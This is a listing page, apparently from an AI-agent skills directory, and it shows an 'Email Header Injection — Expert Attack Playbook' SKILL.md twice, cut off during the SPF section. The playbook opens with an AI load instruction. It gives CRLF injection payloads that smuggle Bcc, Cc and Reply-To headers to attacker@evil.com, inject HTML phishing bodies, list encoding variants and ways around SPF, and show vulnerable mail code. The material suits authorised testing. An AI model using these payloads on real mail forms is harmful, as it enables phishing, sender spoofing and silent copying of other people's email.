email-header-injection

Name: email-header-injection
Author: Prohao42

91stars8forks

How to install email-header-injection?

prohao42/aimy-skill/email-header-injection

$npx -y skills add Prohao42/aimy-skill --skill email-header-injection

Installs into the current project.

Summary

Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Email Header Injection — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.
4
5	## 0. RELATED ROUTING
6
7	- [crlf-injection](../crlf-injection/SKILL.md) — general CRLF injection; email headers are a specific high-value sink
8	- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — when SMTP server is reachable via SSRF (gopher://smtp)
9	- [open-redirect](../open-redirect/SKILL.md) — redirect in password-reset emails as phishing amplification
10
11	---
12
13	## 1. SMTP HEADER INJECTION FUNDAMENTALS
14
15	SMTP headers are separated by CRLF (`\r\n`). If user input is placed into email headers without sanitization, injecting `%0d%0a` (or `\r\n`) adds arbitrary headers.
16
17	### Injection anatomy
18
19	```
20	Normal header construction:
21	To: user@example.com\r\n
22	Subject: Contact Form\r\n
23	From: noreply@target.com\r\n
24
25	Injected (via Subject field):
26	Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
27
28	Result:
29	Subject: Hello\r\n
30	Bcc: attacker@evil.com\r\n
31	```
32
33	### Encoding variants to try
34
35	\| Encoding \| Payload \|
36	\|---\|---\|
37	\| URL-encoded \| `%0d%0a` \|
38	\| Double URL-encoded \| `%250d%250a` \|
39	\| Unicode \| `\u000d\u000a` \|
40	\| Raw CRLF \| `\r\n` (in raw request) \|
41	\| LF only \| `%0a` (some SMTP servers accept LF without CR) \|
42	\| Null byte + CRLF \| `%00%0d%0a` \|
43
44	---
45
46	## 2. ATTACK SCENARIOS
47
48	### 2.1 BCC Injection — Silent Email Exfiltration
49
50	```
51	Input field: email / name / subject
52	Payload: victim@target.com%0d%0aBcc:attacker@evil.com
53
54	Effect: attacker receives a copy of every email sent through this form
55	```
56
57	### 2.2 CC Injection with Header Stacking
58
59	```
60	Payload in "From name" field:
61	John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com
62
63	Result headers:
64	From: John
65	Cc: attacker@evil.com
66	Bcc: spy@evil.com
67	... (original headers continue)
68	```
69
70	### 2.3 Body Injection — Full Email Content Control
71
72	A blank line (`\r\n\r\n`) separates headers from body in SMTP:
73
74	```
75	Payload in Subject:
76	Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a
77
78	Result:
79	Subject: Urgent
80
81	Please click: https://evil.com/phish
82	.
83
84	(Blank line terminates headers, everything after is body)
85	```
86
87	### 2.4 Reply-To Manipulation for Phishing
88
89	```
90	Payload in From name:
91	IT Support%0d%0aReply-To:attacker@evil.com
92
93	Victim sees "IT Support" as sender
94	Replies go to attacker@evil.com
95	```
96
97	### 2.5 Content-Type Injection for HTML Phishing
98
99	```
100	Payload:
101	test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>
102
103	Overrides Content-Type → renders HTML in email client
104	```
105
106	---
107
108	## 3. COMMON VULNERABLE PATTERNS
109
110	### PHP mail()
111
112	```php
113	$to = $_POST['email'];
114	$subject = $_POST['subject'];
115	$message = $_POST['message'];
116	$headers = "From: noreply@target.com";
117
118	// ALL parameters are injectable:
119	mail($to, $subject, $message, $headers);
120
121	// $to injection: victim@x.com%0d%0aCc:attacker@evil.com
122	// $subject injection: Hello%0d%0aBcc:attacker@evil.com
123	// $headers injection: From: x%0d%0aBcc:attacker@evil.com
124	```
125
126	### Python smtplib
127
128	```python
129	msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
130	server.sendmail(from_addr, to_addr, msg)
131	# user_from / user_subject injectable if not sanitized
132	```
133
134	### Node.js nodemailer
135
136	```javascript
137	let mailOptions = {
138	from: req.body.from, // injectable
139	to: 'admin@target.com',
140	subject: req.body.subject, // injectable
141	text: req.body.message
142	};
143	transporter.sendMail(mailOptions);
144	```
145
146	---
147
148	## 4. SPF / DKIM / DMARC BYPASS TECHNIQUES
149
150	### 4.1 SPF (Sender Policy Framework) Bypass
151
152	SPF validates the `MAIL FROM` envelope sender IP against DNS TXT records.
153
154	\| Technique \| How \|
155	\|---\|---\|
156	\| Subdomain delegation \| Target has `include:_spf.google.com`; attacker uses Google Workspace to send as `anything@mail.target.com` \|
157	\| Include chain abuse \| `v=spf1 include:third-party.com` — if third-party allows broad sending \|
158	\| DNS lookup limit (10) \| SPF allows max 10 DNS lookups; chains exceeding this → `permerror` → some receivers accept \|
159	\| `+all` misconfiguration \| `v=spf1 +all` allows any IP (rare but exists) \|
160	\| `?all` or `~all` \| Softfail/neutral → most receivers still deliver to inbox \|
161	\| No SPF record \| Domain without SPF → anyone can send as that domain \|
162
163	```bash
164	# Check SPF record:
165	dig TXT target.com +short
166	# Look for: v=spf1 ...
167
168	# Count DNS lookups (each include/a/mx/redirect = 1 lookup):

People who liked this also viewed

6 picks

Type

email-header-injection

91stars8forks

View on GitHub

How to install email-header-injection?

prohao42/aimy-skill/email-header-injection

$npx -y skills add Prohao42/aimy-skill --skill email-header-injection

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Email Header Injection — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.
4
5	## 0. RELATED ROUTING
6
7	- [crlf-injection](../crlf-injection/SKILL.md) — general CRLF injection; email headers are a specific high-value sink
8	- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — when SMTP server is reachable via SSRF (gopher://smtp)
9	- [open-redirect](../open-redirect/SKILL.md) — redirect in password-reset emails as phishing amplification
10
11	---
12
13	## 1. SMTP HEADER INJECTION FUNDAMENTALS
14
15	SMTP headers are separated by CRLF (`\r\n`). If user input is placed into email headers without sanitization, injecting `%0d%0a` (or `\r\n`) adds arbitrary headers.
16
17	### Injection anatomy
18
19	```
20	Normal header construction:
21	To: user@example.com\r\n
22	Subject: Contact Form\r\n
23	From: noreply@target.com\r\n
24
25	Injected (via Subject field):
26	Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
27
28	Result:
29	Subject: Hello\r\n
30	Bcc: attacker@evil.com\r\n
31	```
32
33	### Encoding variants to try
34
35	\| Encoding \| Payload \|
36	\|---\|---\|
37	\| URL-encoded \| `%0d%0a` \|
38	\| Double URL-encoded \| `%250d%250a` \|
39	\| Unicode \| `\u000d\u000a` \|
40	\| Raw CRLF \| `\r\n` (in raw request) \|
41	\| LF only \| `%0a` (some SMTP servers accept LF without CR) \|
42	\| Null byte + CRLF \| `%00%0d%0a` \|
43
44	---
45
46	## 2. ATTACK SCENARIOS
47
48	### 2.1 BCC Injection — Silent Email Exfiltration
49
50	```
51	Input field: email / name / subject
52	Payload: victim@target.com%0d%0aBcc:attacker@evil.com
53
54	Effect: attacker receives a copy of every email sent through this form
55	```
56
57	### 2.2 CC Injection with Header Stacking
58
59	```
60	Payload in "From name" field:
61	John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com
62
63	Result headers:
64	From: John
65	Cc: attacker@evil.com
66	Bcc: spy@evil.com
67	... (original headers continue)
68	```
69
70	### 2.3 Body Injection — Full Email Content Control
71
72	A blank line (`\r\n\r\n`) separates headers from body in SMTP:
73
74	```
75	Payload in Subject:
76	Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a
77
78	Result:
79	Subject: Urgent
80
81	Please click: https://evil.com/phish
82	.
83
84	(Blank line terminates headers, everything after is body)
85	```
86
87	### 2.4 Reply-To Manipulation for Phishing
88
89	```
90	Payload in From name:
91	IT Support%0d%0aReply-To:attacker@evil.com
92
93	Victim sees "IT Support" as sender
94	Replies go to attacker@evil.com
95	```
96
97	### 2.5 Content-Type Injection for HTML Phishing
98
99	```
100	Payload:
101	test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>
102
103	Overrides Content-Type → renders HTML in email client
104	```
105
106	---
107
108	## 3. COMMON VULNERABLE PATTERNS
109
110	### PHP mail()
111
112	```php
113	$to = $_POST['email'];
114	$subject = $_POST['subject'];
115	$message = $_POST['message'];
116	$headers = "From: noreply@target.com";
117
118	// ALL parameters are injectable:
119	mail($to, $subject, $message, $headers);
120
121	// $to injection: victim@x.com%0d%0aCc:attacker@evil.com
122	// $subject injection: Hello%0d%0aBcc:attacker@evil.com
123	// $headers injection: From: x%0d%0aBcc:attacker@evil.com
124	```
125
126	### Python smtplib
127
128	```python
129	msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
130	server.sendmail(from_addr, to_addr, msg)
131	# user_from / user_subject injectable if not sanitized
132	```
133
134	### Node.js nodemailer
135
136	```javascript
137	let mailOptions = {
138	from: req.body.from, // injectable
139	to: 'admin@target.com',
140	subject: req.body.subject, // injectable
141	text: req.body.message
142	};
143	transporter.sendMail(mailOptions);
144	```
145
146	---
147
148	## 4. SPF / DKIM / DMARC BYPASS TECHNIQUES
149
150	### 4.1 SPF (Sender Policy Framework) Bypass
151
152	SPF validates the `MAIL FROM` envelope sender IP against DNS TXT records.
153
154	\| Technique \| How \|
155	\|---\|---\|
156	\| Subdomain delegation \| Target has `include:_spf.google.com`; attacker uses Google Workspace to send as `anything@mail.target.com` \|
157	\| Include chain abuse \| `v=spf1 include:third-party.com` — if third-party allows broad sending \|
158	\| DNS lookup limit (10) \| SPF allows max 10 DNS lookups; chains exceeding this → `permerror` → some receivers accept \|
159	\| `+all` misconfiguration \| `v=spf1 +all` allows any IP (rare but exists) \|
160	\| `?all` or `~all` \| Softfail/neutral → most receivers still deliver to inbox \|
161	\| No SPF record \| Domain without SPF → anyone can send as that domain \|
162
163	```bash
164	# Check SPF record:
165	dig TXT target.com +short
166	# Look for: v=spf1 ...
167
168	# Count DNS lookups (each include/a/mx/redirect = 1 lookup):

People who liked this also viewed

6 picks

Type